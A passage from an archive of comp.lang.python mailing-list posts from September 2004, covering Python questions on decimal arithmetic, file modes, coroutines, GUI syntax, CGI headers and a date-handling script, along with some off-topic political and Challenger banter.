of privacy which can only be protected by each individual, not
the government.

See, people keep saying freedoms.  But I get confused and don't
consider these things freedoms.  In some very stretched cases,
I might consider them rights.


/BAH


Subtract a hundred and four for e-mail.


From tim.golden at viacom-outdoor.co.uk  Thu Sep  9 04:10:13 2004
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: Thu, 9 Sep 2004 09:10:13 +0100 
Subject: List domains on a windows network?
Message-ID: <F1921F85572CB04D9F55B14BDC76B3E4434A65@iron.ima.umn.edu>

[jakasspinguino at hotmail.com]
| I'm looking for a way to enumerate the domains within my network.  I
| can find functions within the win32net library to enumerate computers
| within a given domain, but is there a way I can get a list of the
| domains themselves?

Just in case no-one knows the answer straight off...

If you can present the answer from a Win32 perspective (eg by searching
MSDN or tech articles and finding someone's non-Python solution) you're
more likely to get some help from people who are conversant in Python
with Win32 but who've never tackled this particular issue.

I suspect the answer will involve Active Directory, assuming your
setup uses it.

TJG

________________________________________________________________________
This e-mail has been scanned for all viruses by Star. The
service is powered by MessageLabs. For more information on a proactive
anti-virus service working around the clock, around the globe, visit:
http://www.star.net.uk
________________________________________________________________________


From terti at mighty.co.za  Wed Sep  8 18:11:26 2004
From: terti at mighty.co.za (terti)
Date: Thu, 09 Sep 2004 00:11:26 +0200
Subject: Embedding Python in C DLL
In-Reply-To: <qq-dnT_1lupgo6LcRVn-hQ@is.co.za>
References: <qq-dnT_1lupgo6LcRVn-hQ@is.co.za>
Message-ID: <kt-dnS-_9cSsH6LcRVn-qA@is.co.za>

The following site cleared things up for me.

http://davidf.sjsoft.com/mirrors/mcmillan-inc/embed.html

I changed my Python script to a module with functions rather than a 
class with methods. With no instantiation needed, things started working 
better.

Regards,
Tertius



From jeff at ccvcorp.com  Fri Sep 24 21:47:46 2004
From: jeff at ccvcorp.com (Jeff Shannon)
Date: Fri, 24 Sep 2004 18:47:46 -0700
Subject: Why not FP for Money?
In-Reply-To: <mailman.3884.1096073978.5135.python-list@python.org>
References: <A128D751272CD411BC9200508BC2194D053C79D3@escpl.tcp.com.ar>	<mailman.3872.1096056806.5135.python-list@python.org>	<cj2ehb$h95$0$216.39.172.122@theriver.com>
	<mailman.3884.1096073978.5135.python-list@python.org>
Message-ID: <10l9je9993jlfa3@corp.supernews.com>

Carlos Ribeiro wrote:

>A last note: unless dictated by context otherwise, I think that adding
>two fixed point numbers should round/truncate to the smallest number
>of decimal places, as in:
>
>12.34d + 10.001d --> 32.34
>  
>

Personally,  I think that it makes the most sense (i.e., will result in 
the fewest surprises) if the greatest possible number of places is 
preserved.  If you truncate decimal places, then you might get this:

    x = 1.1d
    for _ in range(5):
        x += 0.02d
    print x              ----> 1.1d

Each addition of 0.02 to 1.1 yields 1.12, which is truncated back to 
1.1, which leaves us in the same place that integer division did.  I 
think it's pretty clear that this *should* produce 1.2.  In order to do 
that, you need to preserve the largest number of decimal places.

But it's even more delicate than that -- does 0.3d / 2 result in 0.1d, 
0.2d, or 0.15d ?  Anything other than the last will surprise people, but 
allowing the number of decimal places to grow implicitly is surprising 
in other circumstances.

I'd suspect that all of this would need to be configurable by context, 
but I'd suggest that the default should be to use as many decimal places 
as are necessary to preserve precision (i.e., 0.3d / 2 --> 0.15d), up to 
some (reasonably large) maximum number of places.  (That maximum would 
be configurable, too.)

Jeff Shannon
Technician/Programmer
Credit International





From fakeaddress at nowhere.org  Sat Sep 18 12:31:22 2004
From: fakeaddress at nowhere.org (Bryan Olson)
Date: Sat, 18 Sep 2004 16:31:22 GMT
Subject: Microthreads without Stackless?
In-Reply-To: <414c1f4b$0$82251$ed2619ec@ptn-nntp-reader03.plus.net>
References: <mailman.3171.1094844869.5135.python-list@python.org>
	<18282ecb.0409120634.5ba044ee@posting.google.com>
	<Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com>
	<18282ecb.0409151755.47b691e2@posting.google.com>
	<Ms92d.16135$QJ3.8331@newssvr21.news.prodigy.com>
	<8cf9f521.0409162213.105d321e@posting.google.com>
	<dUw2d.22139$mo4.11260@newssvr29.news.prodigy.com>
	<cieafr$m4b$1@nntp0.reith.bbc.co.uk>
	<8cf9f521.0409171009.142a3fcd@posting.google.com>
	<g9P2d.20874$7g2.11628@newssvr27.news.prodigy.com>
	<414c1f4b$0$82251$ed2619ec@ptn-nntp-reader03.plus.net>
Message-ID: <upZ2d.22496$061.3740@newssvr29.news.prodigy.com>

Michael Sparks wrote:
 > I'm genuinely curious as to the answer to the
 > question I posed you - even/especially if it is "no, greenlets aren't
 > what I'm after" and why. Including for example practical rather than
 > technical reasons - after all as far as I'm aware there isn't a
 > standalone package, and I've no idea if Armin Rigo intends to support
 > it as such.

As far as I've looked into Greenlets, I'd be happy with them if
they were in the standard Python distribution.  I face the same
resistance others do in getting Python (or any language other
than C/C++, Java or a Microsoft product) into projects.  Each
additional item to instal hurts my chances, plus I have to
support it.  I mostly support Windows, where Python version
changes of 0.1 or greater break extensions.

Finally, I think I understand the kind of stack-conjuring
required to make coroutines work, and it's well outside standard
Python's documented extension API.  I've been burned on that
kind of thing before.


-- 
--Bryan


From brenNOSPAMbarn at NObrenSPAMbarn.net  Sat Sep 25 15:47:59 2004
From: brenNOSPAMbarn at NObrenSPAMbarn.net (OKB (not okblacke))
Date: 25 Sep 2004 19:47:59 GMT
Subject: up with PyGUI!
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<414783DD.4070509@zephyrfalcon.org>
	<4lf4d.15151$pA.1180511@news20.bellglobal.com>
	<4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de>
	<4152D05B.9020909@zephyrfalcon.org> <2rhjmpF1at3kjU1@uni-berlin.de>
	<864d3709040924070115d9d98a@mail.gmail.com>
	<mailman.3855.1096035438.5135.python-list@python.org>
	<Xns956EDE04B1B03OKB@130.133.1.4>
	<mailman.3907.1096136449.5135.python-list@python.org>
Message-ID: <Xns956F822D03E24OKB@130.133.1.4>

Ed Leafe wrote:

> There is also nothing to prevent you from writing that button as a 
> class definition (although I have a personal dislike of a 'class'
> being used for an instance). Something like:
> 
> class MainForm(dabo.ui.dForm):
>       def __init__(self, parent=None):
>            class btn1(ButtonDescription):
>                 Size = (40, 40)
>                 Caption = "b1"     
>            self.addObject(btn1, "b1")
> 
>      To my eye, that's a lot uglier than writing it as it is:
>      instance 
> coding. Dressing it up as a class in order to save typing 'self'
> isn't justified, IMO.

    	Well, I see what you mean, but conversely, even in the example you 
gave above, it seems to me that the "def __init__" is (or should be) 
superfluous.  The very fact that you are defining a button inside a 
panel clearly indicates that you want the button to be added to the 
panel.  Restating this information repeatedly with an __init__ and self 
references and explicit "add" methods is cumbersome.

    	Admittedly, the need to use the word "class" is unfortunate, but I 
prefer to simply ignore that little keyword in the definition.  That is, 
what about this:

frame:
    	panel:
    	    	button1:
    	    	    	caption = "One"
    	    	button2:
    	    	    	caption = "Two"

    	I think the indentation here clearly indicates the intended nesting 
structure of the GUI layout.  Python requires me to use the word "class" 
before each component to get a valid syntactical construct, but I find 
it much easier to put single keyword ahead of each GUI object definition 
than to wade through a series of method definitions to extract 
information about how the components are structured inside one another.

-- 
--OKB (not okblacke)
Brendan Barnwell
"Do not follow where the path may lead.  Go, instead, where there is
no path, and leave a trail."
	--author unknown


From adalke at mindspring.com  Thu Sep 23 16:14:46 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 23 Sep 2004 20:14:46 GMT
Subject: lfs confusion
In-Reply-To: <RKudnesfGtqRkc7cRVn-hQ@powergate.ca>
References: <mailman.3796.1095959172.5135.python-list@python.org>
	<mVD4d.1230$zG1.821@newsread3.news.pas.earthlink.net>
	<RKudnesfGtqRkc7cRVn-hQ@powergate.ca>
Message-ID: <W8G4d.8031$gG4.7546@newsread1.news.pas.earthlink.net>

Peter Hansen wrote:
> Wouldn't doing type(fd.tell()) be better than coupling
> the logic to what might be a changing representation of
> the data?

I suggested using repr instead of str because that
would make the smallest impact on the OP's code.

Using type(fd.tell()) == long) or rather
isinstance(fd.tell(), long) would be better,
but I can see a few possible problems.

  - What does tell() return on a 64 bit
machine?  A Python integer or long?

  - When unification is finished, will it be
that isinstance(0, long) and/or
isinstance(2**35, int) (on a 32 bit machine)?

Since the question is "can I seek to positions
 > 2**31" it seems easier to just try to seek
to something that high up.  The OP pointed out
that /dev/null supports seeks, making it the
easiest one to test on a Unix system.

I looked in the available configuration information
(distutils.sysconfig and grepping
/usr/local/lib/python2.4/config ) but didn't
see any mention of HAVE_LARGEFILE_SUPPORT so I
don't think it's possible for the runtime Python
to figure that information expect by testing
the function calls.

				Andrew
				dalke at dalkescientific.com


From rschroev_nospam_ml at fastmail.fm  Thu Sep 16 15:31:09 2004
From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven)
Date: Thu, 16 Sep 2004 19:31:09 GMT
Subject: Ranting about the state of Python IDEs for Windows
In-Reply-To: <1gk7m2e.jnaaas1e93hhqN%aleaxit@yahoo.com>
References: <mailman.3261.1095106220.5135.python-list@python.org>
	<xv6dnbAB2MabvtvcRVn-sA@adelphia.com>
	<2qo1v3F11r4inU1@uni-berlin.de>
	<1gk5km1.1swwqe59any8yN%aleaxit@yahoo.com>
	<2qtcjpF120qvbU1@uni-berlin.de>
	<1gk7m2e.jnaaas1e93hhqN%aleaxit@yahoo.com>
Message-ID: <1Sl2d.248269$lc4.12735558@phobos.telenet-ops.be>

Alex Martelli wrote:

> 
>>>Except, no tabbed interface when editing multiple files (not even with
>>>GVIM: just ONE window, as seen from the OS/GUI level, even though vim
>>>can partition it).  Vim is my favourite editor, but the lack of tabbed
>>>interface _is_ a pity.
> 
> Me too, but that's part of why I grouse so badly about the few things
> Vim doesn't do _right_.  When I'm dialed in, no GUI, slow line, and have
> to use vim without the G, sure, kludges like window splitting are better
> than nothing.  But mostly I'm on a GUI, with gvim, and the lack of
> tabbed editing just sucks.  Next time I have some spare time (that will
> be the day) I'll give emacs+its vi emulations another try, I think.
> Most likely I'll come back to Vim and start grousing again, tho...;-)

To each his own, but in my experience with :bn, :bp, CTRL-6 and :buf + 
tab completion, vim works about as well as tabbed editing. Requires more 
commands to know then a GUI, but that's not a problem for vim-lovers.

-- 
"Codito ergo sum"
Roel Schroeven


From deetsNOSPAM at web.de  Wed Sep 15 17:31:42 2004
From: deetsNOSPAM at web.de (Diez B. Roggisch)
Date: Wed, 15 Sep 2004 23:31:42 +0200
Subject: thread specific sys.stdout?
References: <opsedyrils6yt6e7@news.cisco.com>
	<ciabc0$seb$00$2@news.t-online.com>
	<1M2dnfnUBsOaLtXcRVn-jA@powergate.ca>
Message-ID: <ciacbo$3m6$06$1@news.t-online.com>

Peter Hansen wrote:

> Have you run this code?  It looks to me suspiciously as
> though it will raise an exception on the second write
> call in any given thread, as the non-shortcircuiting call
> to .get() tries to open the nice_file in write mode for
> a second time.

Nope, didn't run it - and you are right of course. I should have said  more
clearly that the code was untested - I thought that describing it as  

"might look roughly like this"

would suffice.

> Also, what's "_" supposed to be here???self?

Yup it is - I use _ for self - I tried to adapt to the common standard for
the post, but failed in the middle of it. Sorry for the confusion.

-- 
Regards,

Diez B. Roggisch


From secun at yahoo.com  Tue Sep 14 09:22:09 2004
From: secun at yahoo.com (ChrisH)
Date: Tue, 14 Sep 2004 13:22:09 GMT
Subject: Communication between remote scripts
References: <MPG.1bb0b7d621a77bc598968c@news2.atlantic.net>
Message-ID: <MPG.1bb0babc8d7d2dfa98968d@news2.atlantic.net>

Am I correct in saying that remote objects are not really needed for 
this?


In article <MPG.1bb0b7d621a77bc598968c at news2.atlantic.net>, 
secun at yahoo.com says...
> I have a python script (A) that monitors a process (3rd party) on the 
> local machine (Windows).
> 
> I would like to create a second program on a remote Windows computer 
> that receives an update from program A periodically (maybe every 10 
> minutes or so), and tells it everything is running without a problem.
> 
> Can anyone recommend a good (and preferably simple) way for two programs 
> to communicate on a network? 
> 
> 


From prep at prep.synonet.com  Sun Sep  5 14:32:01 2004
From: prep at prep.synonet.com (Paul Repacholi)
Date: Mon, 06 Sep 2004 02:32:01 +0800
Subject: Xah Lee's Unixism
References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<10jc7cu7e57koaa@corp.supernews.com>
	<20040901.2343.57633snz@dsl.co.uk>
	<YLednXSn7obciqrcRVn-og@powergate.ca>
	<41376B82.C6A202FC@yahoo.com> <P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<Os7_c.113460$Fg5.65632@attbi_s53>
	<1094257487.855439@teapot.planet.gong>
	<qs9_c.235307$8_6.157753@attbi_s04>
	<1094285694.404322@teapot.planet.gong>
	<irl_c.67482$jZ5.60995@clgrps13> <1bpt51alai.fsf@cs.nmsu.edu>
	<1094329053.514935@teapot.planet.gong>
	<idr_c.307648$OB3.136180@bgtnsc05-news.ops.worldnet.att.net>
Message-ID: <871xhgh8im.fsf@k9.prep.synonet.com>

Nick Landsberg <SPAMhukolauTRAP at SPAMworldnetTRAP.att.net> writes:

>> Indeed, it could have failed in a way entirely unique to
>> itself... :) The O-Ring thing had been identified, was preventable
>> and should have been prevented. Sure, perhaps the design did suck,
>> but the point is the whole disaster was trivially avoidable if the
>> people running the show were willing to grasp the nettle.

> Since we're so far off-topic here anyway ...

> It has been so many years since the Challenger disaster that memory
> fades (especially at my age), so bear with me if a misremember
> something.

> As I recall, the particular launch happened during an unusual cold
> spell in Florida.  I also recall that the investigation uncovered
> strong recommendations by several senior engineers, prior to launch,
> that the launch should be postponed because the system (shuttle and
> boosters) had never been launched during those kinds of weather
> conditions.  (It could very well be that they might have pointed out
> the O-rings specifically, but I don't recall.)  Some
> managementcritter at some level (probably in NASA) ignored or
> overruled those recommendations.  I can only conjecture that this
> was because that the prevailing culture (in most corporations, then
> and now) is "we have to meet our schedules."

Grab a copy of `Genius', Gleiks bio of RF and read the end chapters
and note what was `leaked' to him.

Before the launch, it was known that they where colder than any
previous launch, and that the seal erosion problems they worried about
where wose in colder conditions.

The engineers wanted to holdm but that would have meant Ronny Raygun
could not grandstand on TV, so N.A.S.A.

-- 
Paul Repacholi                               1 Crescent Rd.,
+61 (08) 9257-1001                           Kalamunda.
                                             West Australia 6076
comp.os.vms,- The Older, Grumpier Slashdot
Raw, Cooked or Well-done, it's all half baked.
EPIC, The Architecture of the future, always has been, always will be.


From daniel.dittmar at sap.corp  Wed Sep 15 07:51:07 2004
From: daniel.dittmar at sap.corp (Daniel Dittmar)
Date: Wed, 15 Sep 2004 13:51:07 +0200
Subject: i am going to get crazy!!!
In-Reply-To: <mailman.3355.1095246222.5135.python-list@python.org>
References: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com>	<9418be08.0409150237.16f90c36@posting.google.com>
	<mailman.3355.1095246222.5135.python-list@python.org>
Message-ID: <ci9abb$evl$1@news1.wdf.sap-ag.de>

Xavier Noria wrote:
> Am I missing some sophisticated code analysis that allows conventional 
> code-completion?

I think Wing IDE tries that approach, at least according to some posts 
in similar threads. It won't be perfect. I haven't tried it so I don't 
know if it's helpful because it works half of the time. Or annoying, 
because it beeps half of the time.

Daniel


From daniel.dittmar at sap.corp  Tue Sep 28 06:09:50 2004
From: daniel.dittmar at sap.corp (Daniel Dittmar)
Date: Tue, 28 Sep 2004 12:09:50 +0200
Subject: no ideas?
In-Reply-To: <pAa6d.315483$vG5.75864@news.chello.at>
References: <pAa6d.315483$vG5.75864@news.chello.at>
Message-ID: <cjbd9e$ltm$1@news2.wdf.sap.corp>

richard wrote:
> gcc 3.4.1
> 
> hello when i compile @ make with python 2.3.4 comes this error
> 
> c++ -pthread  -Xlinker -export-dynamic -o python \
>                 Modules/python.o \
>                 libpython2.3.a -lpthread -ldl  -lutil   -lm
> /usr/bin/ld: Dwarf Error: Invalid or unhandled FORM value: 14.

Google "Dwarf Error Invalid or unhandled FORM value"
=> http://gcc.gnu.org/ml/gcc/2002-02/msg00965.html

Daniel


From grante at visi.com  Fri Sep 10 15:21:44 2004
From: grante at visi.com (Grant Edwards)
Date: 10 Sep 2004 19:21:44 GMT
Subject: Xah Lee's Unixism
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<1549.748T655T9283520@kltpzyxm.invalid>
	<3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>
	<4141c830$0$65574$a1866201@newsreader.visi.com>
	<chsu8b$ujb$1@grandcanyon.binc.net>
Message-ID: <4141fec8$0$65562$a1866201@newsreader.visi.com>

On 2004-09-10, Chuck Dillon <spam at nimblegen.com> wrote:

>> What makes you think that the current US government gives a
>> shit about international agreements?  Bush thinks he's entitled
>> to declare anybody and everybody an "enemy combatant" and lock
>> them up in secret forever.  Add a moustache and he'd make a
>> pretty good Stalin.
>
> Such statements only underscore the incredible ignorance of
> the author or his/her assumption of ignorance in the reader.
> President != Dictator.

Such statements only underscore the incredible inability of the
author to recognize hyperbole.

-- 
Grant Edwards                   grante             Yow!  Boy, am I glad it's
                                  at               only 1971...
                               visi.com            


From rschroev_nospam_ml at fastmail.fm  Fri Sep 24 08:12:19 2004
From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven)
Date: Fri, 24 Sep 2004 12:12:19 GMT
Subject: file read, binary or text mode
In-Reply-To: <41540121$0$3891$4d4ebb8e@news.nl.uu.net>
References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net>
Message-ID: <DaU4d.255789$Ao5.13003846@phobos.telenet-ops.be>

Guyon Mor?e wrote:
> what is the difference?

On Unix/Linux, none.

On Windows, binary mode is just that while text mode translates "\r\n" 
(or "\n\r", I always forget) to "\n" on input and vice-versa on output.

I don't know about other platforms.

> if I open a text file in binary (rb) mode, it doesn't matter... the read()
> output is the same.

Depends on your platform, and the format of the text file (Unix, Windows 
or other platform style line endings).

-- 
"Codito ergo sum"
Roel Schroeven


From winexpert at hotmail.com  Fri Sep 24 09:03:42 2004
From: winexpert at hotmail.com (David Stockwell)
Date: Fri, 24 Sep 2004 13:03:42 +0000
Subject: incrementing a time tuple by one day
Message-ID: <BAY2-F22DKvPEkGhAj50003476b@hotmail.com>

Hi All,

Thanks for your help here.   In my case, I only needed to be approximately 
accurate to about 23 hours 59 minutes or roughly a day.

I did manage to figure it out.

Here is some source code that I used in debugging the problem (apologies in 
advance for the lack of comments/names,etc)
------- start
import time
import datetime
#   This is a Hack

month = 'm'
day   = 'd'
sYear = 'y'

_fHol  = [{month:1, day:1, sYear:2004}
                       ,{month:1,  day:19,  sYear:2004}
                       ,{month:2,  day:16,  sYear:2004}
                       ,{month:5,  day:31,  sYear:2004}
                       ,{month:7,  day:5,   sYear:2004}
                       ,{month:9,  day:6,   sYear:2004}
                       ,{month:10, day:11,  sYear:2004}
                       ,{month:11, day:11,  sYear:2004}
                       ,{month:11, day:25,  sYear:2004}
                       ,{month:12, day:24,  sYear:2004}
                       ,{month:12, day:31,  sYear:2004}
                       ,{month:1,  day:17,  sYear:2005}
                       ]

def _isAHoliday(pyear,pmonth,pday):
        """
               checks to see if a given date is a holiday
        """
        isAHoliday = 0

        for holiday in _fHol:
            if pyear == holiday['y']:
                if pmonth == holiday['m']:
                    if pday == holiday['d']:
                        isAHoliday = 1
        return isAHoliday

def _extendForHoliday(startDate,allowedMax):
        extendedDays = 0
        i = 0
        year  = 0
        month = 1
        day   = 2
        dayOfWeek = 6
        saturday = 5
        sunday = 6
        while i < allowedMax:
            d = datetime.datetime.fromtimestamp(time.mktime(startDate))
            testDate = d + datetime.timedelta(days=i)
            tt = time.strptime("%s%s%s" % (testDate.year, testDate.month, 
testDate.day), "%Y%m%d")
            if _isAHoliday(tt[year],tt[month],tt[day]):
                print "Found a holiday: %s/%s/%s Yeah!!" % (tt[year], 
tt[month], tt[day])
                extendedDays += 1
            elif tt[dayOfWeek] == saturday or tt[dayOfWeek] == sunday:
                print "Got a Weekend day (%s/%s/%s) Yeah!" % (tt[year], 
tt[month], tt[day])
                extendedDays += 1
            i += 1

        print "# days extended are %s" %  extendedDays

        return extendedDays
start = '2004/11/10'

test1 = time.strptime(start,"%Y/%m/%d")
max = 5

y = _extendForHoliday(test1, max)
print "For %s and range %s you get %s days off " % (start,max,y)

--------  fin


David
-------
Surf a wave to the future with a free tracfone 
http://cellphone.duneram.com/index.html




>From: claird at lairds.us (Cameron Laird)
>To: python-list at python.org
>Subject: Re: incrementing a time tuple by one day
>Date: Thu, 23 Sep 2004 20:08:05 GMT
>
>In article <donn-B27766.12063123092004 at gnus01.u.washington.edu>,
>Donn Cave  <donn at u.washington.edu> wrote:
> >In article <QcudnRWf360rm87cRVn-vg at powergate.ca>,
> > Peter Hansen <peter at engcorp.com> wrote:
> >> David Stockwell wrote:
>			.
>			.
>			.
> >Well, who knows, maybe datetime is the answer for him,
> >but if not, I would just use 24*60*60 instead of trying
> >to get one day in seconds out of mktime().  (I think if
> >you look at the date closer, it isn't decremented all!)
> >
> >   Donn Cave, donn at u.washington.edu
>
>While I quickly lost track of who said what, I've been around
>long enough to know that some people are touchy about there
>NOT being 24 * 60 * 60 seconds in a day near "daylight-savings"
>switches.  I have no idea whether that's the case for Mr.
>Stockwell.
>--
>http://mail.python.org/mailman/listinfo/python-list




From jmfbahciv at aol.com  Mon Sep 13 06:41:22 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Mon, 13 Sep 04 10:41:22 GMT
Subject: Xah Lee's Unixism
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<1549.748T655T9283520@kltpzyxm.invalid>
	<3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>
	<4141c830$0$65574$a1866201@newsreader.visi.com>
	<du73c1mk70b.fsf@mozart.cc.tut.fi>
Message-ID: <41458c92$0$2648$61fed72c@news.rcn.com>

In article <du73c1mk70b.fsf at mozart.cc.tut.fi>,
   Ville Vainio <ville at spammers.com> wrote:
>>>>>> "Grant" == Grant Edwards <grante at visi.com> writes:
>
>    Grant> shit about international agreements?  Bush thinks he's
>    Grant> entitled to declare anybody and everybody an "enemy
>    Grant> combatant" and lock them up in secret forever.  Add a
>    Grant> moustache and he'd make a pretty good Stalin.
>
>I'll raise you a Hitler, in a (probably vain) attempt to invoke the
>Godwin's law.

This law doesn't work in a.f.c. newsgroup.  It just gets us
started talking about computers and guns and big [rhummm,rhummm]
vehicles.

/BAH


Subtract a hundred and four for e-mail.


From alanmk at hotmail.com  Sun Sep 26 11:41:49 2004
From: alanmk at hotmail.com (Alan Kennedy)
Date: Sun, 26 Sep 2004 16:41:49 +0100
Subject: Blender!
In-Reply-To: <10ldkhbkmilivc7@corp.supernews.com>
References: <Jyv5d.8761$N45.227281@twister2.libero.it>
	<mailman.3931.1096206442.5135.python-list@python.org>
	<10ldkhbkmilivc7@corp.supernews.com>
Message-ID: <9lB5d.32089$Z14.10905@news.indigo.ie>

[Phil Frost]
>>Hopefully I got that right. I can't solve your problem, but I did find
>>some forums in portuguese that might address your problem.

[Jeffrey Froman]
> But isn't the OP in Italian?

The OP was Italian.

But Spanish, Portugese, French, Italian et al (i.e. "The Romance 
Languages", derived from Roman Latin) are sufficiently similar that it 
is frequently straightforward for a speaker of one such language to read 
and absorb some of the meaning of a piece in another such language.

My (school) French and Latin permitted me to understand the general 
meaning of the OP's post. It's just that I don't know anything about 
Blender! :-)

regards,

-- 
alan kennedy
------------------------------------------------------
email alan:              http://xhaus.com/contact/alan


From richie at entrian.com  Wed Sep 29 04:52:09 2004
From: richie at entrian.com (Richie Hindle)
Date: Wed, 29 Sep 2004 09:52:09 +0100
Subject: False exceptions?" (was Re: theme of the week: tools
In-Reply-To: <uacvaibjc.fsf@fitlinxx.com>
References: <Pine.LNX.4.50.0409272150400.3157-100000@hedgehog>
	<mailman.4011.1096382061.5135.python-list@python.org>
	<uacvaibjc.fsf@fitlinxx.com>
Message-ID: <ldtkl05ct1eft2sm1mbq9jtsspiors2ri3@4ax.com>


[Stephan]
> The "false exceptions" thing is a technical limitation of detecting
> whether or not an exception is going to lead to program termination at the
> moment it is raised

[Richie]
> Assuming an exception "is going to lead to program
> termination", trapping it at the point it's raised is only one instruction
> away from trapping at the point it causes termination (via sys.excepthook)

[David]
> You're assuming that it's all Python code up the stack until the final
> exception handling.  If there's an extension module in the way, you
> lose the ability to get at the information, and if that extension
> module decides to absorb the error, then there's no longer a chance to
> catch it.

I'll get my coat.

-- 
Richie Hindle
richie at entrian.com



From grante at visi.com  Fri Sep 24 08:26:53 2004
From: grante at visi.com (Grant Edwards)
Date: 24 Sep 2004 12:26:53 GMT
Subject: file read, binary or text mode
References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net>
	<MaqdnVoFl5tkmsncRVn-uQ@powergate.ca>
	<41540ea3$0$3889$4d4ebb8e@news.nl.uu.net>
Message-ID: <4154128d$0$80690$a1866201@newsreader.visi.com>

On 2004-09-24, Guyon Mor?e <gumuz at NO_looze_SPAM.net> wrote:

> ok, i have huffman encoding code.

You should open the file in binary.

> this is actually build for text,

All of the Huffman encoding implimentations I've seen output
binary, but I'll take your word for it.

> but because python can also
> read a binary file as a string, this applies equally well :)

If the file contains printiable text with cr/nl, nl, or cr line
endings, then open it in text mode.  Otherwise open it in
binary mode.

> but, i was just wondering if this gives any problems if I use
> text-mode read for the binary files and vice versa.

Yes, it will give you problems.

> If I undertand correctly now, using binary mode is _always_ save, right?

No.

If it's text, open it in text mode.  That way the line endings
are handled properly.

-- 
Grant Edwards                   grante             Yow!  I think I'll do BOTH
                                  at               if I can get RESIDUALS!!
                               visi.com            


From peter at engcorp.com  Mon Sep 13 11:09:11 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 13 Sep 2004 11:09:11 -0400
Subject: Not able to read blank lines and spaces on a small text file
In-Reply-To: <4145b6f6$0$19816$afc38c87@news.easynet.co.uk>
References: <2e569af.0409130648.a6aa116@posting.google.com>
	<4145b6f6$0$19816$afc38c87@news.easynet.co.uk>
Message-ID: <5fSdnTiE0paFJdjcRVn-oQ@powergate.ca>

Peter Hickman wrote:

> Ruben wrote:
> 
>> Hello.
>>
>> I am trying to read a small text file using the readline statement. I
>> can only read the first 2 records from the file. It stops at the blank
>> lines or at lines with only spaces. I have a while statement checking
>> for an empty string "" which I understand represents an EOF in Python.
>> The text file has some blank lines with spaces and other with blanks.
> 
> 
> My brain is not really working but a blank line is not how python 
> processes a the EOF.

Actually, it is when using things like .readline(), which return even
the newline \n at the end of the line...

-Peter


From robin at wiretooth.com  Thu Sep  2 19:46:17 2004
From: robin at wiretooth.com (Robin Bryce)
Date: Fri, 03 Sep 2004 00:46:17 +0100
Subject: using generators for event handling in python.
In-Reply-To: <2eMZc.1265$ZS6.396@trndny07>
References: <mailman.2777.1094146412.5135.python-list@python.org>
	<2eMZc.1265$ZS6.396@trndny07>
Message-ID: <1094168777.7156.32.camel@localhost.localdomain>

Thanks, I don't have a compact version. I could remove the fork feature
but I think this is pretty crucial. And I could strip the comments out.
I definitely need to rethink the examples. I don't think any of that
really helps express the essence though. Let me see what I can do to
boil out the bloat.

I've updated the link in the original post to point at a page that
tracks the changes.

Thankyou very much for responding !

Robin Bryce

On Thu, 2004-09-02 at 22:26, Raymond Hettinger wrote:
> > I've been looking at generators from the context of event oriented web
> > application development. I was thinking of submitting a version of
> > http://www.wiretooth.com/eventhub_recipe.html as a recipe for the python
> > cookbook.
> 
> It's somewhat long for a recipe.  Do you have more compact code that conveys the
> essense of your approach?
> 
> 
> Raymond Hettinger
> 



From fuzzyman at gmail.com  Fri Sep 10 05:02:23 2004
From: fuzzyman at gmail.com (Michael Foord)
Date: 10 Sep 2004 02:02:23 -0700
Subject: Request Headers In a CGI
Message-ID: <6f402501.0409100102.3fa002ea@posting.google.com>

Is it possible to get at the http request headers in a normal CGI ?

I can't touch the server, so I can't install anything like mod_python.
I've tried googling but the answer seems to be 'no'.

I know I can reconstruct *most* headers from the environment variables
- is this my only option ? I've heard of 'non-parsed headers', but I
don't know how to use them from within a python cgi....

Anyone got any clues, or answers ?

Regards,


Fuzzy

http://www.voidsapce.org.uk/atlantibots/pythonutils.html


From carribeiro at gmail.com  Thu Sep  9 08:33:37 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Thu, 9 Sep 2004 09:33:37 -0300
Subject: Question: tools for business apps development
In-Reply-To: <2qavr3Ft7dgdU1@uni-berlin.de>
References: <mailman.2847.1094238878.5135.python-list@python.org>
	<1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com>
	<864d370904090606465938fea5@mail.gmail.com>
	<mailman.2980.1094568177.5135.python-list@python.org>
	<Xns955F1AEE4BA29JanC@213.118.38.197>
	<yMadnZ0Q_8qlJKLcRVn-gA@powergate.ca>
	<mailman.3067.1094698639.5135.python-list@python.org>
	<2qavr3Ft7dgdU1@uni-berlin.de>
Message-ID: <864d37090409090533e636984@mail.gmail.com>

On Thu, 09 Sep 2004 08:17:52 -0400, Daniel Ellison <daniel at syrinx.net> wrote:
> [talking about the risks regarding Flash changes]
> A risk, yes, but not much of one.

I have to agree, and I admit that my problems with Flash come down to
two small issues:

